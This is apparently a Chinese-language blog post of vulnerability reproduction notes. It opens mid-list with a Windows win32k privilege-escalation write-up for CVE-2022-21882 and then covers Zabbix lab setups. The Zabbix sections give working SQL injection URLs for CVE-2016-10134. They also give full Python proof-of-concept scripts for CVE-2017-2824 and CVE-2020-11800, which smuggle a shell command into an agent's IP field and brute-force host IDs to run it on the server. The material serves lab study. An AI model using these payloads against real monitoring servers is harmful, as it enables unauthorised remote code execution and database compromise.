Windows 10 Version 1909 for x64-based Systems

Windows 10 Version 1909 for 32-bit Systems

Windows Server 2019 (Server Core installation)

Windows Server 2019

Windows 10 Version 1809 for ARM64-based Systems

Windows 10 Version 1809 for x64-based Systems

Windows 10 Version 1809 for 32-bit Systems

Windows 10 Version 1803 for ARM64-based Systems

Windows 10 Version 1803 for x64-based Systems

漏洞复现

这里使用腾讯云的Windows 2019 Server 搭建环境

img


img

上传到服务器运行, 此时是以System权限运行


image-20240810164006494

Windows Win32k 内核提权漏洞 CVE-2022-21882

漏洞描述

CVE-2022-21882是对CVE-2021-1732漏洞的绕过,属于win32k驱动程序中的一个类型混淆漏洞。

攻击者可以在user_mode调用相关的GUI API进行内核调用,如xxxMenuWindowProc、xxxSBWndProc、xxxSwitchWndProc、xxxTooltipWndProc等,这些内核函数会触发回调xxxClientAllocWindowClassExtraBytes。攻击者可以通过hook KernelCallbackTable 中 xxxClientAllocWindowClassExtraBytes 拦截该回调,并使用 NtUserConsoleControl 方法设置 tagWNDK 对象的 ConsoleWindow 标志,从而修改窗口类型。

最终回调后,系统不检查窗口类型是否发生变化,由于类型混淆而引用了错误的数据。flag修改前后的区别在于,在设置flag之前,系统认为tagWNDK.pExtraBytes保存了一个user_mode指针;flag设置后,系统认为tagWNDK.pExtraBytes是内核桌面堆的偏移量,攻击者可以控制这个偏移量,从而导致越界R&W。

漏洞影响

Product CPU Architecture Version Update Tested
Windows 10 x86/x64/ARM64 1809
Windows 10 x86/x64/ARM64 1909
Windows 10 x86/x64/ARM64 20H2
Windows 10 x86/x64/ARM64 21H1
Windows 10 x86/x64/ARM64 21H2
Windows 11 x64/ARM64
Windows Server 2019
Windows Server 2022
Windows Server 20H2

漏洞复现

下载POC文件, 在Windows中运行

image-20220420095102270

漏洞POC


zabbix

CVE-2016-10134

zabbix latest.php SQL注入漏洞(CVE-2016-10134)

zabbix是一款服务器监控软件,其由server、agent、web等模块组成,其中web模块由PHP编写,用来显示数据库中的结果。

运行环境

执行如下命令启动zabbix 3.0.3:

docker compose up -d

执行命令后,将启动数据库(mysql)、zabbix server、zabbix agent、zabbix web。如果内存稍小,可能会存在某个容器挂掉的情况,我们可以通过docker compose ps查看容器状态,并通过docker compose start来重新启动容器。

复现漏洞

访问http://your-ip:8080,用账号guest(密码为空)登录游客账户。

登录后,查看Cookie中的zbx_sessionid,复制后16位字符:

将这16个字符作为sid的值,访问http://your-ip:8080/latest.php?output=ajax&sid=055e1ffa36164a58&favobj=toggle&toggle_open_state=1&toggle_ids[]=updatexml(0,concat(0xa,user()),0),可见成功注入:

这个漏洞也可以通过jsrpc.php触发,且无需登录:http://your-ip:8080/jsrpc.php?type=0&mode=1&method=screen.get&profileIdx=web.item.graph&resourcetype=17&profileIdx2=updatexml(0,concat(0xa,user()),0)

POC验证

调试中发现不用用户名和密码也可以进行sql注入,实现细节见POC。

python3 CVE-2016-10134.py -t 127.0.0.1:8080

python3 CVE-2016-10134.py --target 127.0.0.1:8080

CVE-2017-2824

Zabbix Server trapper命令注入漏洞(CVE-2017-2824)

Zabbix 是由Alexei Vladishev 开发的一种网络监视、管理系统,基于 Server-Client 架构。其Server端 trapper command 功能存在一处代码执行漏洞,特定的数据包可造成命令注入,进而远程执行代码。攻击者可以从一个Zabbix proxy发起请求,从而触发漏洞。

参考链接:

环境搭建

执行如下命令启动一个完整的Zabbix环境,包含Web端、Server端、1个Agent和Mysql数据库:

docker compose up -d

命令执行后,执行docker compose ps查看容器是否全部成功启动,如果没有,可以尝试重新执行docker compose up -d

利用该漏洞,需要你服务端开启了自动注册功能,所以我们先以管理员的身份开启自动注册功能。使用账号密码admin/zabbix登录后台,进入Configuration->Actions,将Event source调整为Auto registration,然后点击Create action,创建一个Action,名字随意:

第三个标签页,创建一个Operation,type是“Add Host”:

保存。这样就开启了自动注册功能,攻击者可以将自己的服务器注册为Agent。

漏洞复现

使用这个简单的POC来复现漏洞:

import sys
import socket
import json
import sys


def send(ip, data):
    conn = socket.create_connection((ip, 10051), 10)
    conn.send(json.dumps(data).encode())
    data = conn.recv(2048)
    conn.close()
    return data


target = sys.argv[1]
print(send(target, {"request":"active checks","host":"vulhub","ip":";touch /tmp/success"}))
for i in range(10000, 10500):
    data = send(target, {"request":"command","scriptid":1,"hostid":str(i)})
    if data and b'failed' not in data:
        print('hostid: %d' % i)
        print(data)

这个POC比较初级,请多执行几次,当查看到如下结果时,则说明命令执行成功:

进入server容器,可见/tmp/success已成功创建:

image-20240802160443842

有兴趣的同学可以对这个POC进行改进,提交Pull Request。

CVE-2020-11800

Zabbix Server trapper命令注入漏洞(CVE-2020-11800)

Zabbix 是由Alexei Vladishev 开发的一种网络监视、管理系统,基于 Server-Client 架构。在[CVE-2017-2824][1]中,其Server端 trapper command 功能存在一处代码执行漏洞,而修复补丁并不完善,导致可以利用IPv6进行绕过,注入任意命令。

参考链接:

环境搭建

执行如下命令启动一个完整的Zabbix环境,包含Web端、Server端、1个Agent和Mysql数据库:

docker compose up -d

命令执行后,执行docker compose ps查看容器是否全部成功启动,如果没有,可以尝试重新执行docker compose up -d

利用该漏洞,需要你服务端开启了自动注册功能,开启方法请参考[CVE-2017-2824][1]。

漏洞复现

修改[CVE-2017-2824][1]的POC中的IP字段,构造新的POC:

import sys
import socket
import json
import sys


def send(ip, data):
    conn = socket.create_connection((ip, 10051), 10)
    conn.send(json.dumps(data).encode())
    data = conn.recv(2048)
    conn.close()
    return data


target = sys.argv[1]
print(send(target, {"request":"active checks","host":"vulhub","ip":"ffff:::;touch /tmp/success2"}))
for i in range(10000, 10500):
    data = send(target, {"request":"command","scriptid":1,"hostid":str(i)})
    if data and b'failed' not in data:
        print('hostid: %d' % i)
        print(data)

当查看到如下结果时,则说明命令执行成功:

进入server容器,可见/tmp/success2已成功创建:

有兴趣的同学可以对这个POC进行改进,提交Pull Request。


文章作者: 吗喽の小屋
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 吗喽の小屋 !
  目录